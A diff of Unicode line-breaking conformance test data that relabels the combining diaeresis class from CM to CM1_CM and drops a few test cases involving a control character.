-× 0030 × 0308 × 50005 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [23.03] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0030 × 0308 × 50005 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.03] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0030 × 0E01 ÷ # × [0.3] DIGIT ZERO (NU) × [23.03] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0030 × 0020 ÷ 0E01 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0030 × 0308 × 0E01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [23.03] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0030 × 0308 × 0E01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.03] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0030 × 3041 ÷ # × [0.3] DIGIT ZERO (NU) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0030 × 0020 ÷ 3041 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0030 × 0308 × 3041 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0030 × 0308 × 3041 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0028 × 0023 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] NUMBER SIGN (AL) ÷ [0.3]
× 0028 × 0020 × 0023 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0028 × 0308 × 0023 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0023 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0028 × 0308 × 0023 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0023 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] NUMBER SIGN (AL) ÷ [0.3]
× 0028 × 2014 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] EM DASH (B2) ÷ [0.3]
× 0028 × 0020 × 2014 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] EM DASH (B2) ÷ [0.3]
-× 0028 × 0308 × 2014 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] EM DASH (B2) ÷ [0.3]
-× 0028 × 0308 × 0020 × 2014 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] EM DASH (B2) ÷ [0.3]
+× 0028 × 0308 × 2014 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] EM DASH (B2) ÷ [0.3]
+× 0028 × 0308 × 0020 × 2014 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] EM DASH (B2) ÷ [0.3]
× 0028 × 0009 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0028 × 0020 × 0009 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0028 × 0308 × 0009 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0009 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0028 × 0308 × 0009 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0009 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0028 × 00B4 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0028 × 0020 × 00B4 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0028 × 0308 × 00B4 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0028 × 0308 × 0020 × 00B4 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0028 × 0308 × 00B4 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0028 × 0308 × 0020 × 00B4 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0028 × 000B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0028 × 0020 × 000B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0028 × 0308 × 000B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0028 × 0308 × 0020 × 000B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0028 × 0308 × 000B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0028 × 0308 × 0020 × 000B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0028 × FFFC ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0028 × 0020 × FFFC ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0028 × 0308 × FFFC ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0028 × 0308 × 0020 × FFFC ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0028 × 0308 × FFFC ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0028 × 0308 × 0020 × FFFC ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0028 × 007D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0028 × 0020 × 007D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0028 × 0308 × 007D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 007D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0028 × 0308 × 007D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 007D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0028 × 0029 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0028 × 0020 × 0029 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0028 × 0308 × 0029 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0029 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0028 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0028 × 0020 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0028 × 0308 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0028 × 0308 × 0029 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0029 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0028 × 000D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0028 × 0020 × 000D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0028 × 0308 × 000D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0028 × 0308 × 0020 × 000D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0028 × 0308 × 000D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0028 × 0308 × 0020 × 000D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0028 × 0021 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0028 × 0020 × 0021 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0028 × 0308 × 0021 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0021 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0028 × 0308 × 0021 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0021 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0028 × 00A0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0028 × 0020 × 00A0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0028 × 0308 × 00A0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 00A0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0028 × 0308 × 00A0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 00A0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0028 × AC00 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0028 × 0020 × AC00 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0028 × 0308 × AC00 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0028 × 0308 × 0020 × AC00 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0028 × 0308 × AC00 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0028 × 0308 × 0020 × AC00 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0028 × AC01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0028 × 0020 × AC01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0028 × 0308 × AC01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0028 × 0308 × 0020 × AC01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0028 × 0308 × AC01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0028 × 0308 × 0020 × AC01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0028 × 05D0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0028 × 0020 × 05D0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0028 × 0308 × 05D0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 05D0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0028 × 0308 × 05D0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 05D0 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0028 × 002D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0028 × 0020 × 002D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0028 × 0308 × 002D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0028 × 0308 × 0020 × 002D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0028 × 0308 × 002D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0028 × 0308 × 0020 × 002D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0028 × 231A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] WATCH (ID) ÷ [0.3]
× 0028 × 0020 × 231A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] WATCH (ID) ÷ [0.3]
-× 0028 × 0308 × 231A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] WATCH (ID) ÷ [0.3]
-× 0028 × 0308 × 0020 × 231A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] WATCH (ID) ÷ [0.3]
+× 0028 × 0308 × 231A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] WATCH (ID) ÷ [0.3]
+× 0028 × 0308 × 0020 × 231A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] WATCH (ID) ÷ [0.3]
× 0028 × 2024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0028 × 0020 × 2024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0028 × 0308 × 2024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0028 × 0308 × 0020 × 2024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0028 × 0308 × 2024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0028 × 0308 × 0020 × 2024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0028 × 002C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [13.02] COMMA (IS) ÷ [0.3]
× 0028 × 0020 × 002C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0028 × 0308 × 002C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0028 × 0308 × 0020 × 002C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0028 × 0308 × 002C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0028 × 0308 × 0020 × 002C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0028 × 1100 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0028 × 0020 × 1100 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0028 × 0308 × 1100 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 1100 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0028 × 0308 × 1100 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 1100 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0028 × 11A8 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0028 × 0020 × 11A8 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0028 × 0308 × 11A8 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0028 × 0308 × 0020 × 11A8 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0028 × 0308 × 11A8 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0028 × 0308 × 0020 × 11A8 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0028 × 1160 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0028 × 0020 × 1160 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0028 × 0308 × 1160 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0028 × 0308 × 0020 × 1160 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0028 × 0308 × 1160 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0028 × 0308 × 0020 × 1160 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0028 × 000A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0028 × 0020 × 000A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0028 × 0308 × 000A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0028 × 0308 × 0020 × 000A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0028 × 0308 × 000A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
